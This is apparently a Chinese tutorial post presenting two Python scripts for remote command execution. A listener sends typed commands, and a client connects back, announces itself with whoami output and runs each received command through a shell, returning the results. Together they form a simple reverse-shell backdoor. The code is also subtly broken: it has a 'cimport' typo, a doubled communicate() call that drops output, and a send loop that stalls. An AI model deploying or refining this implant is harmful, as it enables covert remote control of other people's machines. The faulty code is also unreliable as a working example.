Python 远程执行cmd命令

主机端

import socket

# 创建套接字
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# 绑定ip地址与端口号
sock.bind(('127.0.0.1', 54321))

# 建立监听，最大连接数为5个
sock.listen(5)


# 接收客户端的连接
conn, client_addr = sock.accept()

# 通讯循环
while True:
    # 接收消息
    msg = conn.recv(4096)  # 最大接收字节数为1024
    if not msg:
        continue
    print(msg.decode('utf-8'))
    reply = input('cmd>>')
    conn.send(reply.encode('utf-8'))

# 断开连接
conn.close()

# 关闭套接字
sock.close()

客户端

cimport os
import socket

# 命令执行
import subprocess
def cmd2(ml):
    print('cmd2' + ml)
    try:
        p = subprocess.Popen(ml,
                             shell=True,
                             stdout=subprocess.PIPE,
                             stderr=subprocess.STDOUT,
                             encoding='gb2312'
                             )
        print(p.communicate()[0])
        return  p.communicate()[0]
    except:
        print('Error')
        return 'Error\n'

# 创建套接字
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# 连接服务端
sock.connect(('127.0.0.1', 54321))

# 发送接收
def send(msg):
    sock.send(msg.encode('utf-8'))  # Mac操作系统使用utf-8编码方式
    print('消息已发送')
    global reply
    reply = sock.recv(1024)
    print('消息已接收')
    return reply

send('客户上线 ' + cmd2('whoami'))

while True:
    msg = cmd2(str(reply, encoding = "utf-8"))
    if msg=='':
        msg = '命令已执行'
    else:
        reply = send(msg)
# 断开连接
sock.close()